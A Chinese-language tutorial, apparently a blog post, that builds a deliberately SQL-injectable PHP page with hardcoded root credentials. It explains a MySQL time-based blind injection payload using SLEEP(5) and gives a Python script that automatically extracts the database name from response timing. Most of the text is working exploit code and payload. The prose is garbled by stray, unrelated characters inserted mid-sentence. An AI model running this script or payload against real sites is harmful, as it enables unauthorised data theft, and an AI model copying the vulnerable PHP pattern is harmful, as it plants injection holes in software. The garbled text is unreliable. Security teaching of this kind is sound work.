今天來介紹基于MySQL的Time Attacking原理,并且用Python編寫一個(gè)獲取當(dāng)前網(wǎng)站所用數(shù)據(jù)庫名稱的自動(dòng)化腳本良漱。
準(zhǔn)備工作
先來模擬一個(gè)具有SQL注入漏洞的網(wǎng)站母市,該網(wǎng)站由一張html頁面Injection.html和對(duì)應(yīng)的后臺(tái)php頁面Injection.php構(gòu)成。
Injection.html代碼如下:
<!DOCTYPE html>
<html>
<head>
<title>Injection</title>
</head>
<body>
<form action="Injection.php" method="post">
<input type="text" name="text">
<input type="submit" name="submit">
</form>
</body>
</html>
Injection.php代碼如下:
<?php
$text = $_POST['text'];
$myconn = mysql_connect('127.0.0.1', 'root', 'passwd');
mysql_select_db('securitytest', $myconn);
$sql = "select * from test where id = " . $text;
$result = mysql_query($sql, $myconn) or die('die');
while($row = mysql_fetch_array($result)) {
?>
<tr>
<td align="center"><?php echo $row["id"]?></td>
<td align="center"><?php echo $row["value"]?></td>
</tr>
<br>
<?php
}
mysql_close($myconn);
?>
由此可見浑槽,用戶可在html頁面中的輸入框中輸入一個(gè)id,提交查詢數(shù)據(jù)庫中相應(yīng)的值配并。當(dāng)輸入16時(shí)括荡,輸出結(jié)果如下:
Time Attacking原理
由上代碼可知,php在得到post的值之后溉旋,在沒對(duì)它進(jìn)行任何檢測(cè)的前提下畸冲,直接將之與一條sql select語句進(jìn)行拼接,交由數(shù)據(jù)庫直接執(zhí)行观腊。因此邑闲,當(dāng)用戶輸入以下內(nèi)容時(shí):
16 union select 1, if(substring(current, 1, 1) = char(97), sleep(5), null) from (select database() as current) as sss;
數(shù)據(jù)庫要執(zhí)行的sql語句就成為了:
select * from test where id = 16 union select 1, if(substring(current, 1, 1) = char(97), sleep(5), null) from (select database() as current) as sss;
這條語句的作用是先通過select database()將當(dāng)前使用的數(shù)據(jù)庫的名稱放入current參數(shù),再通過substring(current, 1, 1) = char(97)判斷current表示的字符串的第一位是不是char(97)梧油,即ascii字符a苫耸。若數(shù)據(jù)庫的名稱的確是以a開頭的儡陨,則會(huì)執(zhí)行 sleep(5)褪子,即數(shù)據(jù)庫要在5s后才會(huì)返回查詢結(jié)果;若不是骗村,則立即返回查詢結(jié)果嫌褪。通過對(duì)這種時(shí)間的長(zhǎng)短進(jìn)行判斷,就能依次套出該數(shù)據(jù)庫名稱的每一個(gè)字符胚股。
自動(dòng)化腳本編寫
根據(jù)以上原理笼痛,現(xiàn)用Python來編寫一個(gè)自動(dòng)化腳本,來取得數(shù)據(jù)庫的名稱琅拌。假設(shè)數(shù)據(jù)庫的名稱全由字母組成缨伊,若實(shí)際情況中存在數(shù)字等字符,則需要對(duì)該腳本進(jìn)行修改进宝。代碼如下:
#!/usr/bin/env python
#coding=utf8
import httplib, urllib, time
httpClient = None
try:
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"};
dbName = "";
i = 1;
while(True):
found = False;
for j in range(97, 123):
params = urllib.urlencode({'text': "16 union select 1, if(substring(current, " + str(i) + ", 1) = char(" + str(j) + "), sleep(5), null) from (select database() as current) as sss;"});
httpClient = httplib.HTTPConnection("localhost", 80, timeout=30);
start_time = time.time();
httpClient.request("POST", "/WebSecurity/SQL/Injection.php", params, headers);
response = httpClient.getresponse();
stop_time = time.time();
if (response.status == 200 and (stop_time - start_time) >= 5):
print(str(i) + " --> " + chr(j));
dbName += chr(j);
i += 1;
found = True;
break;
if (not found):
print(dbName);
break;
except Exception, e:
print e
finally:
if httpClient:
httpClient.close()
運(yùn)行結(jié)果如下圖所示:
結(jié)語
以上是我的一些經(jīng)驗(yàn)與心得刻坊,若有不足之處,請(qǐng)予指正即彪。希望這篇文章對(duì)你有所幫助_紧唱。